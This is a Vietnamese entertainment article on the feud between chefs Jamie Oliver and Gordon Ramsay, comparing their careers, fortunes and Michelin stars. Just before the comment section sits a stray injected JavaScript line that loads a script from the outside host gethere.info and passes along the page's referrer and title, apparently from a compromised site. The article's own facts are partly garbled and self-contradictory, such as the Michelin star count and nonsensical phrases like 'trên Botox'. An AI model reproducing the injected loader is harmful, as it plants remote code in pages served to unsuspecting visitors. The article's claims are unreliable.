Jamie Oliver & Gordon Ramsay – 2 thế cực đối đầu

Có lẽ không cần nói quá nhiều về Gordon Ramsay nữa, ông là siêu đầu bếp nổi tiếng nhất thế giới đương đại, là người mở đường cho phong cách nấu ăn hiện đại cũng như hàng loạt những giá trị ẩm thực mới. Ông là chủ của rất nhiều nhà hàng nổi tiếng trên thế giới cũng như “chủ xị” vô vàn chương trình truyền hành thực tế ăn khách nhất. Ông được mệnh danh là “ông vua của ẩm thực thế giới” hay “con quỷ của nhà bếp thế giới” cũng chính là ông.

Jamie-Oliver (7)

Trong khi đó, James Trevor Oliver sinh năm 1975, là một đầu bếp và chủ nhà hàng nổi tiếng ở Anh. Ông xuất hiện trên rất nhiều chương trình truyền thông nổi tiếng để giới thiệu những cuốn sách dạy nấu ăn của mình và gần đây nhất là chiến dịch toàn cầu về thực phẩm “xanh”.

Jamie Oliver đã được sinh ra và lớn lên ở làng Clavering. Gia đình anh có một nhà hàng nhỏ ở địa phương mang tên The Cricketers, chính vì vậy mà ngay từ bé, Oliver đã được đào tạo những kĩ năng nấu ăn cơ bản nhất.

Jamie-Oliver (5)

JAMIE OLIVER

Ông bắt đầu sự nghiệp nấu ăn chuyên nghiệp của mình tại một nhà hàng bánh ngọt Yard Antonio Carluccio của Neal, nơi ông lần đầu tiên được tiếp xúc với những món ăn Ý; cũng chính là nơi ông gặp gỡ người thầy sau này của mình, đầu bếp nổi tiếng Gennaro Contaldo.

Oliver nổi tiếng với 3 loạt chương trình truyền hình The Naked Chef, Return of the Naked Chef và Happy Days with The Naked ChefOliver; sau đó ông chuyển đến Kênh 4 tại Vương quốc Anh, nơi bộ phim tài liệu đầu tiên của ông ra mắt sau khi thành lập 15 nhà hàng tại London, Anh.

Năm 2005, Oliver đã khởi xướng một chiến dịch với tên gọi “Feed Me Better” để hướng những học sinh Anh đến với những thực phẩm lành mạnh, hạn chế đồ ăn vặt.

Đầu bếp tài ba này còn chứng to khả năng vượt trội của mình trong lĩnh vực kinh doanh. Công ty mà ông nắm giữ, Jamie Oliver Holdings Ltd với số chứng khoản niêm yết trên The Sunday Times đã vinh danh ông trở thành người Anh giàu nhất dưới 30 tuổi.

Jamie-Oliver (4)

Tháng 6 năm 2008, nhà hàng Jamie của ông ra đời, và ngay sau đó đã thực hiện nhượng quyền thương mại trên toàn cầu với các chi nhánh tại UAE, Australia, Ireland, Nga, Thổ Nhĩ Kỳ, Singapore và Hồng Kông. Đến tháng 12 năm 2009, Oliver nhận được giải thưởng TED 2010 – một giải thưởng danh giá vinh danh những cá nhân sáng tạo với tầm nhìn táo bạo, châm ngòi cho một xu hướng hoàn toàn mới trên thế giới.

Người ta biết đến Oliver như một đầu bếp tốc độ nhất trên thế giới với những bữa ăn chỉ trong 15 phút ở Jamie trên kênh Channel 4, được phát sóng 40 tập năm 2012.

Tháng 1 năm 2013, ông bắt đầu đưa truyền hình kỹ thuật số, những phương tiện truyền thông hiện đại vào cách thức truyền đạt nấu ăn của mình. Và hơn 1 năm sau, Oliver nhận được 3 ngôi sao về linh vực chất lượng thực phậm Tube và xuất bản thành công cuốn sách nấu ăn đầu tiên về những công thức làm bánh Cupcake Jemma thông qua nhà xuất bản Penguin Books.

Tuy nhiên, đầu bếp tài ba này lại là một thế cực hoàn toàn đối lập với siêu đầu bếp Gordon Ramsay, ông từng tuyên bố: “Tôi và Ramsay không bao giờ đứng trong cùng một căn bếp. Anh ta luôn ghen tị với những thành công của tôi”.

Jamie-Oliver (2)

Đã có rất nhiều bài báo tốn không ít giấy mực cho “mối thù không hiểu vì sao có” giữa Jamie Oliver và Gordon Ramsay. Nhưng hiện tại, chủ xị loạt chương trình nổi tiếng Master Chef vẫn chưa có bất kỳ phản hồi nào đối với những ý kiến từ đồng nghiệp của mình.

Tại Nhà hát Opera Sydney vào ngày 23/5 vừa qua, Oliver là người sở hữu trị giá tài sản lên tới 240 triệu bảng Anh và ông cho biết: “Gordon Ramsay sẽ làm bất cứ điều gì  để lấy cắp những điều tôi đang có vì anh ta luôn ghen tị và không bao giờ có thể hoàn thành được những công việc mà tôi đã từng làm”. “Anh ta là một người khoa trương, luôn đổ lỗi cho người khác trong khi chưa làm tròn trách nhiệm của mình. Anh ta còn kiêu ngạo đến mức sẽ không trò chuyện với bất cứ ai, người mà anh ta cho là không cùng đẳng cấp với mình vì xấu hổ”, Oliver bộc bạch.

Jamie-Oliver (1)

Được biết, sự hiềm khích của 2 đầu bếp nổi tiếng này bắt đầu từ năm 2009, khi Gordon Ramsay đã có ý kiến chê bai Oliver về khả năng dẫn chương trình của anh trong một chương trình truyền hình của Úc.

Oliver lên tiếng đáp trả những nhận xét của Ramsay trong The Sun: “Người Úc và người Anh không giống nhau. Thật là bất lịch sự khi chê bai người khác khi bản thân mình chưa thử làm việc đó. Tôi yêu nước Úc và con người ở đây, bởi vậy, tôi thể hiện điều đó trên kênh truyền hình quốc gia họ”.

Ramsay sau đó đã gắn cho Oliver biệt danh “Cái nồi ngoan cố” và 2 đầu bếp này liên tục có những lời nói chế giễu nhau trên Botox.

Ramsay cũng từng nói một câu với TMZ: “Đây là lần cuối tôi phàn nàn về chất lượng một món ăn tại nhà hàng nào đó ở mức Restaurant Jamie Oliver” – có ý muốn nói nhà hàng của Oliver không bao giờ khiến Ramsay phải để tâm.

Còn vào năm 2010, Oliver trong một cuộc phỏng vấn với Mirror có nói: “Nếu tôi phải lựa chọn giữa sách dạy nấu ăn của Gordon Ramsay hoặc Tana Ramsay, nó chắc chắn sẽ là Tana”. Tana chính là vợ của Gordon Ramsay, bà cũng là một nhà văn nổi tiếng ở Anh.

Buchvorstellung "Zu Gast bei Jamie"

Cùng đặt 2 đầu bếp này lên bàn đấu:

Hiện tại, Jamie Oliver đang sở hữu khối tài sản lên tới 240 triệu bảng. Chủ của 50 nhà hàng trên toàn thế giới với 26 cuốn sách dạy nấu ăn được xuất bản, trong đó đã có hơn 37 triệu bản được tiêu thụ.

Jamie chưa đạt được bất cứ ngôi sao Michelin nào.

Trong khi đó, đối thủ của ông, Gordon Ramsay đang sở hữu khối tài sản trị giá 82 triệu bảng. Ông là chủ có 33 nhà hàng, trong đó có 12 thương hiệu nổi tiếng toàn thế giới. Tính đến thời điểm hiện tại, Ramsay có 21 cuốn sách đã được xuất bản, trong đó có hơn 3 triệu bản được bán ra.

Ramsay nhận được tổng cộng 10 ngôi sao Michelin (3 ở Anh và 3 ở nước ngoài).

Nếu xét về giá trị tài sản ròng và số lượng sách bán ra thì Jamie Oliver đã chiến thắng. Tuy nhiên, Gordon Ramsay lại tự hào có ba sao Michelin trong nước để khẳng định tên tuổi của ông, trong khi Oliver thì chưa có một sao nào.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Thảo luận

Bình luận

Trang 1 trên 11